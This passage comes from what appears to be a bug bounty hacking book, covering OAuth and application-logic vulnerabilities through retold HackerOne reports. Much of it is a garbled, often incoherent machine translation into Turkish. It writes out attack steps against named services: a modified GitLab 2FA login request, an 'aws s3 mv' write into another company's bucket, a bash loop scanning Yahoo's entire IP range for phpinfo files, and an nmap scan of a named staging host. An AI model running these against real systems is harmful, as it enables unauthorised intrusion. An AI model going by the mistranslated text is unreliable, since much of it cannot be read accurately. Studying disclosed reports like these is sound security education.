Kısa sürede, bu güvenlik açığı bir süredir JSON olarak bilinen
uçak kaçırma, gasp, hırsızlık. Bunu kullanmak, anonim Javascript nesneleri için de mümkündü.
Javascript Object.prototype öğesini geçersiz kılarak. **defineSetter** yöntemi, ancak bu
Chrome 27, Firefox 21 ve IE 10.

Kötü niyetli sayfamız yüklendiğinde Rodney'in örneğine geri **dönersek** , **onload** olayı
25 satırındaki body etiketimizin işleyicisi , satır 18'den **kaçak** işlevini gerçekleştirir.
Biz textarea elemanı olsun **kargo** hattının 27. formda ve bizim yayılmasına metni ayarlamak
sac cevabı. Formu Rodney'nin web sitesine gönderiyoruz ve başarıyla çaldık

veri.

İlginç bir şekilde, Rodney'in Google ile olan etkileşimine göre, bunu değiştirmek bir
API'nin kendisinde basit düzeltme ve gerekli değişiklikler. Sonuç olarak, Ekim ayında rapor ederken
29, 2015, bu 15 Eylül 2016'ya kadar çözülmedi.

Sayfa 180

çıkarımlar

Burada birkaç paket servis var. İlk olarak, OAuth güvenlik açıkları her zaman ilgili değildir
belirteçleri çalmak. OAuth tarafından korunan API isteklerine dikkat edin.
belirteci göndermiyor veya doğrulamıyor (ör. OAuth belirteç başlığını kaldırmayı deneyin
bir tanımlayıcı varsa, URL'deki sayfa kimliği gibi). İkincisi, bu önemli
Tarayıcıların Javascript ve JSON'u nasıl yorumladığını anlamak ve anlamak. Bu
güvenlik açığı, Google'ın geçerli bir şekilde döndüğü için kısmen mümkün
SetResponse aracılığıyla erişilebilir JSON içeren Javascript nesnesi. Olsaydı
anonim bir Javascript dizisi, mümkün olmazdı. Son olarak, iken
Kitaptaki ortak bir tema ise, belgeleri okuyun. Google'ın dokümantasyonu
Yanıtlar hakkında, gönderilen ve çalışan bir kavram kanıtı geliştirmenin anahtarı oldu.
elektronik tablo verilerini uzaktaki bir sunucuya

özet

OAuth, ilk olduğunuzda başınızı etrafa sarmak için karmaşık bir işlem olabilir
ya da en azından benim için ve konuştuğum ve öğrendiğim bilgisayar korsanlarıydı.
Bununla birlikte, bir kez anladığınızda, verilen güvenlik açıkları için çok fazla potansiyel vardır.
bu karmaşıklık. Bir şeyleri test ederken, gibi yaratıcı çözümler aramaya devam edin
Philippe üçüncü parti uygulamaları devralmakta ve Prakhar gibi etki alanı soneklerini kötüye kullanmaktadır.

20. Uygulama Mantığı Güvenlik Açıkları

Açıklama

Uygulama mantığı güvenlik açıkları, tartıştığımız diğer türlerden farklı
şimdiye kadar. Oysa, HTML Enjeksiyonu, HTML Parametre Kirliliği, XSS vb.
bir tür potansiyel olarak zararlı girdi, uygulama mantığı güvenlik açığı göndermek
gerçekten web uygulaması kodlama senaryoları manipüle ve hataların istismar içerir
gelişme kararları.

Bu tür saldırıların kayda değer bir örneği Egor Homakov tarafından GitHub'a karşı çıkarıldı
Ruby on Rails kullanıyor. Rails'e aşina değilseniz, çok popüler bir web
Bir web sitesi geliştirirken ağır yüklerin çoğunu sağlayan çerçeve.

Mart 2012'de, Egor, Rails Topluluğu için varsayılan olarak Rails'in kabul edeceğini işaret etti.
kendisine gönderilen tüm parametreler ve bu değerleri veritabanı kayıtlarının güncellenmesinde kullanmak
(geliştiricilerin uygulamasına bağlı olarak). Rails'in çekirdek geliştiricileri tarafından yapılan düşünce
Rails kullanan web geliştiricileri bu güvenliği kapatmaktan sorumlu olmalıydı.
boşluk ve kayıtların güncellenmesi için bir kullanıcı tarafından hangi değerlerin gönderileceğinin tanımlanması. Bu
davranış topluluk içinde zaten iyi biliniyordu ancak GitHub'daki konu
Bu risk ne kadar az takdir ederse, https://github.com/rails/rails/issues/5228 [1] 'e neden olmuştur .

Çekirdek geliştiriciler onunla aynı fikirde olmadığında, Egor bir kimlik doğrulama işleminden yararlanmaya devam etti.
içerdiği parametre değerlerini tahmin edip göndererek GitHub'taki güvenlik açığı
Oluşturma tarihi (Rails ile çalıştıysanız ve bunların çoğunu biliyorsanız aşırı zor olmaz)
kayıtları veritabanında oluşturulan ve güncellenmiş bir sütun içerir). Sonuç olarak, o bir yarattı
GitHub'a bilet, gelecekteki tarihlerle birlikte. Ayrıca SSH erişimini güncellemeyi başardı
Resmi GitHub kod deposuna erişmesine izin veren anahtarlar.

Bahsedildiği gibi, kesilmeyen arka uç GitHub koduyla hack sağlandı.
Egor'un ne yaptığını, yani izninin olmaması gerektiğini doğrulayarak doğrulayın.
Oluşturma tarihi için değerleri göndermek, ardından veritabanını güncellemek için kullanılır.
kayıtları. Bu durumda, Egor toplu atama güvenlik açığı olarak adlandırılan şeyi buldu.

Uygulama mantığı güvenlik açıkları, önceki türlerle karşılaştırıldığında biraz daha zor
Saldırılar tartışıldı çünkü kodlama kararları hakkında yaratıcı düşünmeye güveniyorlar ve
sadece geliştiricilerin kaçmadığı potansiyel olarak zararlı kodları gönderme meselesi değil
(buradaki diğer güvenlik açığı türlerini en aza indirmeye çalışmıyor, bazı XSS saldırıları dışında
Karmaşık!).

[1] https://github.com/rails/rails/issues/5228

GitHub örneğiyle, Egor sistemin Rails'e ve nasıl yapıldığına dayandığını biliyordu.
Raylar kulplu kullanıcı girişi. Diğer örneklerde, doğrudan API çağrıları yapmakla ilgili olabilir.
Shopify's ile görüldüğü gibi bir web sitesini destekleyen davranışı test etmek için programlı olarak
Aşağıdaki Yönetici Ayrıcalığı Bypass'ı seçin. Veya, geri gönderilen değerleri yeniden kullanma meselesidir.
izin vermemesi gereken sonraki API çağrıları yapmak için kimliği doğrulanmış API çağrıları
yapmak.

Örnekler

1. Shopify Yönetici Ayrıcalığı Bypass

Zorluk : Düşük

URL : shop.myshopify.com/admin/mobile_devices.json

Rapor Bağlantısı : https://hackerone.com/reports/100938[2]

Rapor Tarihi : 22 Kasım 2015

Ödemeli Ödül : 500 Dolar

Tanım :

Shopify, hem kullanıcı arayüzüne bakan hem de web sayfasını içeren büyük ve sağlam bir platformdur.
destekleyici API'ler. Bu örnekte, API, bazı izinleri doğrulamadı.
Web kullanıcı arayüzü görünüşte yaptı. Sonuç olarak, izin verilmeyen yöneticileri saklayın
satış için e-posta bildirimleri almak, bu güvenlik ayarını manipüle ederek atlamak olabilir
Apple cihazlarına bildirim almak için API bitiş noktası.

Rapora göre, hacker sadece şunları yapmak zorunda kalacak:

- Shopify telefon uygulamasına tam erişim hesabı ile giriş yapın.
- İsteği POST'a /admin/mobile_devices.json adresine durdurma
- Bu hesabın tüm izinlerini kaldırın
- Eklenen mobil bildirimi kaldırın
- İsteği POST / admin/mobile_devices.json adresine tekrarlayın

Bunu yaptıktan sonra, söz konusu kullanıcı, kendisine verilen tüm siparişler için mobil bildirimler alır.
Böylece, mağazanın yapılandırılmış güvenlik ayarları dikkate alınmaz.

[2] https://hackerone.com/reports/100938

çıkarımlar

Burada iki anahtar var. İlk olarak, her şey kod enjekte etmekle ilgili değildir,
HTML vb. Her zaman bir proxy kullanmayı unutmayın ve hangi bilgilerin bulunduğunu izleyin.

bir siteye geçti ve ne olduğunu görmek için onunla oyna. Bu durumda, tüm aldı .
Güvenlik kontrollerini atlamak için POST parametrelerinin kaldırılması. İkincisi, yine hepsi değil
saldırılar HTML web sayfalarına dayanmaktadır. API bitiş noktaları her zaman potansiyel sunar
güvenlik açığı bölgesi bu yüzden her ikisini de değerlendirdiğinizden ve test ettiğinizden emin olun.

2. HackerOne Sinyal Manipülasyonu

Zorluk : Düşük

URL : hackerone.com/reports/XXXXX

Rapor Bağlantısı : https://hackerone.com/reports/106305[3]

Rapor Tarihi : 21 Aralık 2015

Ödemeli Ödül : 500 Dolar

Tanım :

2015 yılının sonunda, HackerOne, Signal adlı siteye yeni bir işlevsellik getirdi.
Temel olarak, bir Hacker'in önceki güvenlik açığının etkinliğini tespit etmeye yardımcı olur
bu raporlar kapatıldıktan sonra raporlar. Burada, kullanıcıların kapanabileceğini not etmek önemlidir.
HackerOne hakkında, raporlarında değişiklik yapılmaması gereken kendi raporları
İtibar ve Sinyal

Yani, muhtemelen tahmin edebileceğiniz gibi, işlevselliği test ederken, bir hacker keşfetti
Bu işlevsellik yanlış bir şekilde uygulandı ve bir hacker'ın oluşturmasına izin verildi.
Herhangi bir ekibe rapor verin, raporu kendiniz kapatın ve bir Sinyal artışı alın.

Ve hepsi oradaydı

çıkarımlar

Kısa bir açıklama olsa da, buradaki paket servis paketinin abartılamaması **durumunda yeni işlevsellik için dikkat!** . Bir site yeni işlevler uyguladığında, bu taze et. Yeni işlevsellik, yeni kodu test etme fırsatını temsil eder ve böcek aramak. Bu Shopify Twitter CSRF ve Facebook için aynıydı XSS açıkları.

Bundan en iyi şekilde yararlanmak için, şirketlere kendinizi tanıtmak iyi bir fikirdir ve şirket bloglarına, haber bültenlerine vb. abone olun, böylece ne zaman haberdar olun bir şey serbest bırakıldı. Sonra test et.

[3] https://hackerone.com/reports/106305

3. Shopify S3 Kovalar Açık

Zorluk : Orta

URL : cdn.shopify.com/assets

Rapor Bağlantısı : https://hackerone.com/reports/98819 [4]

Rapor Tarihi : 9 Kasım 2015

Ödemeli Ödül : 1000 Dolar

Tanım :

Amazon Basit Depolama, S3, müşterilerin dosya saklamalarını ve sunmalarını sağlayan bir hizmettir
Amazon'un bulut sunucularından. Shopify ve birçok site, statik depolamak ve hizmet vermek için S3 kullanın
görüntüler gibi içerik.

Tüm Amazon Web Servisleri paketi AWS çok sağlam ve izin içeriyor
yöneticilerin hizmet başına izinleri tanımlamasını sağlayan yönetim sistemi, S3
dahil. İzinler, S3 kovaları oluşturma yeteneğini içerir (bir kova, depolama alanı gibidir
klasör), kovalardan oku ve diğerlerinin yanı sıra kovalara yaz.

Açıklamaya göre, Shopify S3 kovalarını izin verilen şekilde düzgün bir şekilde yapılandırmadı.
oturumlar ve istemeden herhangi bir kimliği doğrulanmış AWS kullanıcısının okuma veya yazmalarına izin verdi
kovalar. Bu açıkça sorunlu çünkü siyah şapkaları kötü amaçlı istemiyorsunuz.
S3 kovalarınızı en azından dosyaları saklamak ve sunmak için kullanmak için.

Ne yazık ki, bu biletin detayları açıklanmadı, ancak bunun keşfedilmesi muhtemel.
AWS CLI ile servis sağlayıcınızla AWS servisleriyle etkileşime geçmenizi sağlayan bir araç
Komut satırı. Bunu yapmak için bir AWS hesabına ihtiyacınız olsa da, bir tane oluşturmak aslında
Herhangi bir hizmeti etkinleştirmeniz gerekmediğinden ücretsiz. Sonuç olarak, CLI ile
Kendinizi AWS ile doğrulayın ve ardından erişimi test edin (Bu tam olarak nasıl bulduğumu
HackerOne kovası aşağıda listelenmiştir).

çıkarımlar

Potansiyel bir hedef belirlerken, tüm farklı araçları not aldığınızdan emin olun,
Web servisleri de dahil olmak üzere kullanıyorlar. Her servis, yazılım, işletim sistemi vb.
Potansiyel yeni bir saldırı vektörünü ortaya çıkarır. Ayrıca, bu iyi bir fikir
AWS S3, Zendesk, Rails, vb. popüler web araçlarını tanımak.
birçok sitenin kullandığı.

4. HackerOne S3 Kovalar Açık

Zorluk : Orta

[4] https://hackerone.com/reports/98819

Url : [REDACTED] .s3.amazonaws.com

Rapor Bağlantısı : https://hackerone.com/reports/128088[5]

Rapor Tarihi : 3 Nisan 2016

Ödemeli Ödül : 2,500 Dolar

Tanım :

Burada biraz farklı bir şey yapacağız. Bu aslında benim için bir güvenlik açığı
keşfedildi ve yukarıda açıklanan Shopify hatadan biraz farklı, ben de gidiyorum
Bunu nasıl bulduğumla ilgili her şeyi, harika bir senaryo ve biraz ustalık kullanarak paylaşın.

3 Nisan hafta sonu boyunca nedenini bilmiyorum ama dışarıda düşünmeye karar verdim.
kutu ve HackerOne saldırı. Başından beri siteleriyle oynuyordum ve
Bilginin açığa çıkmasıyla her zaman yeni bir kırılganlığa kıçımda tekmelemeye devam etti.
nasıl özlediğimi merak ederek bulundu. S3 kovalarının savunmasız olup olmadığını merak ettim.
Shopify en. Ayrıca hacker'ın düşündüğüm Shopify kepçesine nasıl eriştiğini merak etmeye devam ettim.
Amazon Komut Satırı Araçlarını kullanıyor olmalıydı.

Şimdi, normalde HackerOne'un mümkün olmadığını düşünerek kendimi durdurabilirdim.
bunca zamandan sonra savunmasız. Ama benden sıkışıp kalmış birçok şeyden biri
Ben Sadeghipour (@Nahamsec) ile röportaj yapmak kendimden veya yeteneklerinden şüphe duymamaktı
hata yapmak için bir şirket.

Bu yüzden Google'ı bazı ayrıntılar için aradım ve iki ilginç sayfa ile karşılaştım:

1.951 Amazon S3 Kovada Bir Delik Var[6]

S3 Kepçe Bulucu [7]

Bunlardan ilki, bir güvenlik şirketi olan Rapid7'den ilginç bir yazı.
Halka açık S3 kovalarını keşfettiler ve çıldırtıcı ya da tahminde bulundular
kova adı.

İkincisi, kelime listesi alacak ve kovaları arayan S3'ü arayacak havalı bir araçtır.
Ancak, kendi listesiyle gelmiyor. Ancak Rapid7 makalesinde önemli bir satır vardı.
"Fortune 1000 şirketinin bir kaç farklı sözlükteki isimlerini tahmin etmek
.com, -backup, -media üzerinde permütasyonlu isimler

Bu ilginçti. Hızlı bir şekilde HackerOne benzeri için potansiyel bir kova isimleri listesi hazırladım.

> hackerone, hackerone.marketing, hackerone.attachments, hackerone.users,
> hackerone.files, vb.

[5] https://hackerone.com/reports/128088
[6] https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
[7] https://digi.ninja/projects/bucket_finder.php

Sayfa 186

Bunların hiçbiri gerçek kova değil - rapordan çıkardılar, onur duyuyorum
bu senin de bulabileceğine emin olduğum halde. Bunu bir meydan okuma için bırakacağım.

Şimdi, Ruby betiğini kullanarak, kovaları aramaya başladım. Hemen şeyler bakmadı
iyi. Birkaç kova buldum ama erişim reddedildi. Şans yok bu yüzden kaçtım ve izledim
Netflix.

Ama bu fikir beni rahatsız ediyordu. Bu yüzden yatmadan önce senaryoyu tekrar çalıştırmaya karar verdim
daha fazla permütasyon ile. Yine onlar gibi görünüyordu birkaç kova bulundu
HackerOne olmak ama hepsi reddedildi. Erişim engellendi en azından bana söyledi
kova vardı.

Ben Ruby senaryoyu açtım ve eşdeğer çağırıyordu fark **ls** fonksiyonu üzerine
kovalar Başka bir deyişle, onların okunabilir olup olmadığını görmeye çalışıyordu - bilmek istedim
Bu VE eğer kamuya açık olarak **yazılabilirlerse** .

Şimdi, bir kenara, AWS, bir komut satırı aracı, aws-cli sağlar. Bunu biliyorum çünkü ben
bunu daha önce kullandım, bu yüzden hızlı bir sudo apt-get VM'ime aws-cli kurun ve araçları kullandım. Ayarladım
Onları kendi AWS hesabım ile yukarı ve gitmeye hazırdı. İçin talimatlar bulabilirsiniz.
bu docs.aws.amazon.com/cli/latest/userguide/installing.html adresinde

Şimdi, **aws s3 yardım** komutu S3 yardımını açar ve mevcut komutları detaylandırır,
Bunu yazarken 6 gibi bir şey. Bunlardan biri olan **mv** şeklinde **aws s3 mv**
[DOSYA] [s3: // BUCKET] . Yani benim durumumda denedim:

```
test.txt'ye dokunun
aws s3 mv test.txt s3: // hackerone.marketing
```

Bu, AND için reddedilen ilk kovalamaydı “hamle başarısız oldu: ./test.txt
to s3: //hackerone.marketing/test.txt Arama yaparken bir istemci hatası (AccessDenied) oluştu
PutObject işlemi: Erişim Engellendi. ”

Bu yüzden bir sonraki **aws s3 mv test.txt s3: //hackerone.files** AND BAŞARI! Bende var
“move: ./test.txt - s3: //hackerone.files/test.txt” mesajı

İnanılmaz! Şimdi dosyayı silmeye çalıştım: **aws s3 rm s3: //hackerone.files/test.txt** AND
tekrar, başarı!

Ama şimdi kendine şüphe. Hızlıca bildirmek için HackerOne’a giriş yaptım ve yazdığım gibi
AWS S3 kepçesinin sahipliğini gerçekten onaylayamadığımı fark ettim
küresel bir ad alanında herhangi bir kepçe oluşturun. Anlamı, sen, okuyucu, aslında olabilirdi
Korsan olduğum kovaya sahibim.

Onaylamadan rapor vermem gerektiğinden emin değildim. Bulabilir miyim görmek için Google'ı aradım
kovadaki herhangi bir referansta hiçbir şey bulamadım. Temizlemek için bilgisayardan uzaklaştım
kafam. En kötü şey olduğunu düşündüm, başka bir N / A raporu ve -5 rep. Diğer yandan,
Shopify güvenlik açığına göre bunun en az 500, belki de 1000 dolar olduğunu düşündüm.

Teslim oldum ve yatağa gittim. Uyandığımda HackerOne tebrik etti
çoktan düzelttiklerini ve bunu yaparken de birkaç başka kova gerçekleştirdiklerini
Bu savunmasızdı. Başarı! Ve kredilerini, ödül aldıklarında,
Ben bulamadım diğer kovalar da dahil olmak üzere, bunun potansiyel şiddeti faktörü
savunmasızdı.

çıkarımlar

Bundan birden fazla paket var:

1. Yaratıcılığınızı ve bunun olası hata potansiyelini küçümsemeyin.
   geliştiricileri. HackerOne, müthiş güvenlikten müthiş bir ekip.
   Arama yapan. Ancak insanlar hata yapar. Varsayımlarınıza meydan okuyun.
2. İlk denemeden sonra pes etmeyin. Bunu bulduğumda, her birine göz atıyordum.
   kova mevcut değildi ve ben de neredeyse uzaklaşıyordum. Ama sonra yazmaya çalıştım
   bir dosya ve çalıştı.
3. Her şey bilgi ile ilgili. Hangi tür güvenlik açıklarının olduğunu biliyorsanız,
   ne arayacağımı ve test edeceğini biliyorsun. Bu kitabı satın almak harika bir ilk adımdı.
4. Daha önce söyledim, tekrar söyleyeceğim, bir saldırı yüzeyi daha fazla
   web sitesi, aynı zamanda şirketin kullandığı hizmetler. At gözlüklerini çıkar.

5. GitLab İki Faktörlü Kimlik Doğrulamanın Atlanması

Zorluk : Orta

URL : n / a

Rapor Bağlantısı : https://hackerone.com/reports/128085[8]

Rapor Tarihi : 3 Nisan 2016

Ödemeli Ödül : n / a
Tanım :

3 Nisan'da, Jobert Abma (HackerOne'un Kurucu Ortağı) GitLab'a iki kişiyle
Faktör kimlik doğrulaması etkin, saldırgan bir kurbanın hesabına olmadan giriş yapabildi
Aslında kurbanın şifresini bilmek.

Bilinmeyenler için iki faktörlü kimlik doğrulama, giriş yapmak için iki adımlı bir işlemdir -
genellikle bir kullanıcı kullanıcı adı ve şifresini girer ve ardından site bir
Yetki kodu, genellikle kullanıcının işlemi bitirmek için girmesi gereken e-posta veya SMS yoluyla
giriş işlemi.

[8] https://hackerone.com/reports/128085

Sayfa 188

Bu durumda, Jobert oturum açma sürecinde, bir saldırganın kendisine bir kez girdiğini fark etti.
kullanıcı adı ve şifresi, girişi sonlandırmak için bir belirteç gönderildi. Gönderirken
belirteci, POST çağrısı benziyordu:

```
POST / users / sign_in HTTP / 1'de . 1
Ev sahibi : 159 . xxx . xxx . xxx
...

---------- 1881604860
İçerik Eğilimi : form verisi ; name = "user [ otp_attempt ] "

212421
---------- 1881604860--
```

Bir saldırgan bunu ele geçirip aramaya bir kullanıcı adı eklediyse, örneğin:

```
POST / users / sign_in HTTP / 1'de . 1
Ev sahibi : 159 . xxx . xxx . xxx
...

---------- 1881604860
İçerik Eğilimi : form verisi ; name = "user [ otp_attempt ] "

212421
---------- 1881604860
İçerik Eğilimi : form verisi ; name = "kullanıcı [ giriş ] "

John
---------- 1881604860--
```

Otp_attempt belirteci geçerliyse saldırgan John'un hesabına giriş yapabilirdi
John için. Başka bir deyişle, bir saldırgan bir eklenmişse, iki aşamalı kimlik doğrulama sırasında
user[login] parameter, they could change the account they were being logged into.

Now, the only caveat here was that the attacker had to have a valid OTP token for
the victim. But this is where bruteforcing would come if. If the site administrators did
not implement rate limiting, Jobert may have been able to make repeated calls to the

server to guess a valid token. The likelihood of a successful attack would depend on the transit time sending the request to the server and the length of time a token is valid but regardless, the vulnerability here is pretty apparent.

çıkarımlar

Two factor authentication is a tricky system to get right. When you notice a site is using it, you'll want to fully test out all functionality including token lifetime, maximum number of attempts, reusing expired tokens, likelihood of guessing a token, etc.

6. Yahoo PHP Info Disclosure

Zorluk : Orta

Url: http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php

Re⁻ ɔrt Link: https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/[9]

Date Disclosed: October 16, 2014

Ödemeli Ödül : n / a

Tanım :

While this didn't have a huge pay out like some of the other vulnerabilities I've included (it actually paid $0 which is surprising!), this is one of my favorite reports because it helped teach me the importance of network scanning and automation.

In October 2014, Patrik Fehrenbach (who you should remember from Hacking Pro Tips Interview #2 - great guy!) found a Yahoo server with an accessible phpinfo() file. If you're not familiar with phpinfo(), it's a sensitive command which should never be accessible in production, let alone be publicly available, as it discloses all kinds of server information.

Now, you may be wondering how Patrik found http://nc10.n9323.mail.ne1.yahoo.com - I sure was. Turns out he pinged yahoo.com which returned 98.138.253.109. Then he passed that to WHOIS and found out that Yahoo actually owned the following:

NetRange: 98.136.0.0 - 98.139.255.255
CIDR: 98.136.0.0/14
OriginAS:
NetName: A-YAHOO-US9
NetHandle: NET-98-136-0-0-1
Parent: NET-98-0-0-0-0
NetType: Direct Allocation
RegDate: 2007-12-07
Updated: 2012-03-02
Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1

[9] https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/

Notice the first line - Yahoo owns a massive block of ip addresses, from 98.136.0.0 - 98.139.255.255, or 98.136.0.0/14 which is 260,000 unique IP adresses. That's a lot of potential targets.

Patrik then wrote a simple bash script to look for an available phpinfo file:

```
#!/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &
```

Running that, he found that random Yahoo server.

çıkarımlar

When hacking, consider a company's entire infrastructure fair game unless they tell you it's out of scope. While this report didn't pay a bounty, I know that Patrik has employed similar techniques to find some significant four figure payouts.

Additionally, you'll notice there was 260,000 potential addresses here, which would have been impossible to scan manually. When performing this type of testing, automation is hugely important and something that should be employed.

7. HackerOne Hacktivity Voting

Zorluk : Orta

Url: https://hackerone.com/hacktivity

Report Link: https://hackereone.com/reports/137503[10]

Date Reported: May 10, 2016

Ödemeli Ödül : Swag

Tanım :

Though technically not really a security vulnerability in this case, this report is a great example of how to think outside of the box.

Some time in late April/early May 2016, HackerOne developed functionality for hackers to vote on reports via their Hacktivity listing. There was an easy way and hard way to know the functionality was available. Via the easy way, a GET call to **/current_user** when logged in would include **hacktivity_voting_enabled: false**. The hard way is a little more interesting, where the vulnerability lies and why I'm including this report.

[10] https://hackerone.com/reports/137503

If you visit the hacktivity and view the page source, you'll notice it is pretty sparse, just a few divs and no real content.

HackerOne Hacktivity Page Source

Now, if you were unfamiliar with their platform and didn't have a plugin like wappalyzer installed, just looking at this page source should tell you that the content is being rendered by Javascript.

So, with that in mind, if you open the devtools in Chrome or Firefox, you can check out the Javascript source code (in Chrome, you go to sources and on the left, **top->hackerone.com->assets->frontend-XXX.js**). Chrome devtools comes with a nice **{}** pretty print button which will make minified Javascript readable. You could also use Burp and review the response returning this Javascript file.

Herein lies the reason for inclusion, if you search the Javascript for **POST** you can find a bunch of paths used by HackerOne which may not be readily apparent depending on your permissions and what is exposed to you as content. One of which is:

Hackerone Application Javascript POST Voting

As you can see, we have two paths for the voting functionality. At the time of this report, you could actually make these calls and vote on the reports.

Now, this is one way to find the functionality - in the report, the hacker used another method, by intercepting responses from HackerOne (presumably using a tool like Burp), they switched attributed returned as false with true. This then exposed the voting elements which when clicked, made the available POST and DELETE calls.

The reason why I walked you through the Javascript is because, interacting with the JSON response may not always expose new HTML elements. As a result, navigating Javascript may expose otherwise “hidden” endpoints to interact with.

çıkarımlar

Javascript source code provides you with actual source code from a target you can explore. This is great because your testing goes from blackbox, having no idea what the back end is doing, to whitebox (though not entirely) where you have insight into how code is being executed. This doesn’t mean you have to walk through every line, the POST call in this case was found on line 20570 with a simple search for **POST**.

8. Accessing PornHub’s Memcache Installation

Zorluk : Orta

Url: stage.pornhub.com

Report Link: https://hackerone.com/reports/119871[11]

Date Reported: March 1, 2016

Bounty Paid: $2500

Tanım :

Prior to their public launch, PornHub ran a private bug bounty program on HackerOne with a broad bounty scope of ***.pornhub.com** which, to most hackers means all sub domains of PornHub are fair game. The trick is now finding them.

In his blog post, Andy Gill @ZephrFish[12] explains w his is awesome, by testing the existing of various sub domain names using a list of over 1 million potential names, he discovered approximately 90 possible hacking targets.

Now, visiting all of these sites to see what's available would take a lot of time so he automated the process using the tool Eyewitness (included in the Tools chapter) which takes screenshots from the URLs with valid HTTP / HTTPS pages and provides a nice report of the sites listening on ports 80, 443, 8080 and 8443 (common HTTP and HTTPS ports).

According to his write up, Andy slightly switched gears here and used the tool Nmap to dig deeper in to the sub domain **stage.pornhub.com**. When I asked him why, he explained, in his experience, staging and development servers are more likely to have misconfigured security permissions than production servers. So, to start, he got the IP of the sub domain using the command nslookup:

```
nslookup stage.pornhub.com
Server: 8.8.8.8
```

[11] https://hackerone.com/reports/119871

[12] http://www.twitter.com/ZephrFish


```
Address: 8.8.8.8#53
Non-authoritative answer:
Name: stage.pornhub.com
Address: 31.192.117.70
```

I've also seen this done with the command, **ping**, but either way, he now had the IP address of the sub domain and using the command **sudo nmap -sSV -p- 31.192.117.70 -oA stage__ph -T4 &** he got:

```
Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST
Nmap scan report for 31.192.117.70
Host is up (0.017s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
```

443/tcp open http nginx

60893/tcp open memcache

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

Breaking the command down:

- the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
- the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
- 31.192.117.70 is the IP address to scan
- -oA stage__ph tells Nmap to output the findings in its three major formats at once using the filename stage__ph
- -T4 defines the timing for the task (options are 0-5 and higher is faster)

With regards to the result, the key thing to notice is port 60893 being open and running what Nmap believes to be memcache. For those unfamiliar, memcache is a caching service which uses key-value pairs to store arbitrary data. It's typically used to help speed up a website by service content faster. A similar service is Redis.

Finding this isn't a vulnerability in and of itself but it is a definite redflag (though installation guides I've read recommend making it inaccessible publicly as one security

precaution). Testing it out, surprising PornHub didn't enable any security meaning Andy could connect to the service without a username or password via netcat, a utility program used to read and write via a TCP or UDP network connection. After connecting, he just ran commands to get the version, stats, etc. to confirm the connection and vulnerability.

However, a malicious attacker could have used this access to:

- Cause a denial of service (DOS) by constantly writing to and erasing the cache thereby keeping the server busy (this depends on the site setup)
- Cause a DOS by filling the service with junk cached data, again, depending on the service setup
- Execute cross-site scripting by injecting a malicious JS payload as valid cached data to be served to users
- And possibly, execute a SQL injection if the memcache data was being stored in the database

çıkarımlar

Sub domains and broader network configurations represent great potential for hacking. If you notice that a program is including *.SITE.com in it's scope, try to find sub domains that may be vulnerable rather than going after the low hanging fruit on the main site which everyone maybe searching for. It's also worth your time to familiarize yourself with tools like Nmap, eyewitness, knockpy, etc. which will help you follow in Andy's shoes.

9. Bypassing Twitter Account Protections

Zorluk : Kolay

URL : twitter.com

Rapor Bağlantısı : Yok

Date Reported: Bounty awarded October 2016

Bounty Paid: $560

Tanım :

In chatting with Karan Saini, he shared the following Twitter vulnerability with me so I could include it and share it here. While the report isn't disclosed (at the time of writing), Twitter did give him permission to share the details and there's two interesting takeaways from his finding.

In testing the account security features of Twitter, Karan noticed that when you attempted to log in to Twitter from an unrecognized IP address / browser for the first

time, Twitter may ask you for some account validation information such as an email or phone number associated with the account. Thus, if an attacker was able to compromise your user name and password, they would potentially be stopped from logging into and taking over your account based on this additional required information.

However, undeterred, after Karan created a brand new account, used a VPN and tested the functionality on his laptop browser, he then thought to use his phone, connect to the same VPN and log into the account. Turns out, this time, he was not prompted to enter additional information - he had direct access to the "victim's" account. Additionally, he could navigate to the account settings and view the user's email address and phone number, thereby allowing him desktop access (if it mattered).

In response, Twitter validated and fixed the issue, awarding Karan $560.

çıkarımlar

I included this example because it demonstrates two things - first, while it does reduce the impact of the vulnerability, there are times that reporting a bug which assumes an attacker knows a victim's user name and password is acceptable provided you can explain what the vulnerability is and demonstrate it's severity.

Secondly, when testing for application logic related vulnerabilities, consider the different ways an application could be accessed and whether security related behaviours are consistent across platforms. In this case, it was browsers and mobile applications but it also could include third party apps or API endpoints.

özet

Application logic based vulnerabilities don't necessarily always involve code. Instead, exploiting these often requires a keen eye and more thinking outside of the box. Always be on the lookout for other tools and services a site may be using as those represent a new attack vector. This can include a Javascript library the site is using to render content.

More often than not, finding these will require a proxy interceptor which will allow you to play with values before sending them to the site you are exploring. Try changing any values which appear related to identifying your account. This might include setting up two different accounts so you have two sets of valid credentials that you know will work. Also look for hidden / uncommon endpoints which could expose unintentionally accessible functionality.

Also, be sure to consider consistency across the multiple ways the service can be accessed, such as via the desktop, third party apps, mobile applications or APIs. Protections offered via one method may not be consistently applied across all others, thereby creating a security issue.

Lastly, be on the lookout for new functionality - it often represents new areas for testing! And if/when possible, automate your testing to make better use of your time.

21. Getting Started

This chapter has been the most difficult to write, largely because of the variety of bug bounty programs that exist and continue to be made available. To me, there is no simple formula for hacking but there are patterns. In this chapter, I've tried to articulate how I approach a new site, including the tools that I use (all of which are included in the Tools chapter) and what I've learned of others. This is all based on my experience hacking, interviewing successful hackers, reading blogs and watching presentations from DefCon, BSides, and other security conferences.

But before we begin, I receive a lot of emails asking me for help and guidance on how to get started. I usually respond to those with a recommendation that, if you're just starting out, choose a target which you're likely to have more success on. In other words, don't target Uber, Shopify, Twitter, etc. That isn't to say you won't be successful, but those programs have very smart and accomplished hackers testing them daily and I think it'll be easier to get discouraged if that's where you spend your time when you're just beginning. I know because I've been there. Instead, I suggest starting out with a program that has a broad scope and doesn't pay bounties. These programs often attract less attention because they don't have financial incentives. Now, I know it won't be as rewarding when a bug is resolved without a payment but having a couple of these under your belt will help motivate you to keep hacking and as you improve, you'll be invited to participate in private programs which is where you can make some good money.

With that out of the way, let's get started.

Information Gathering

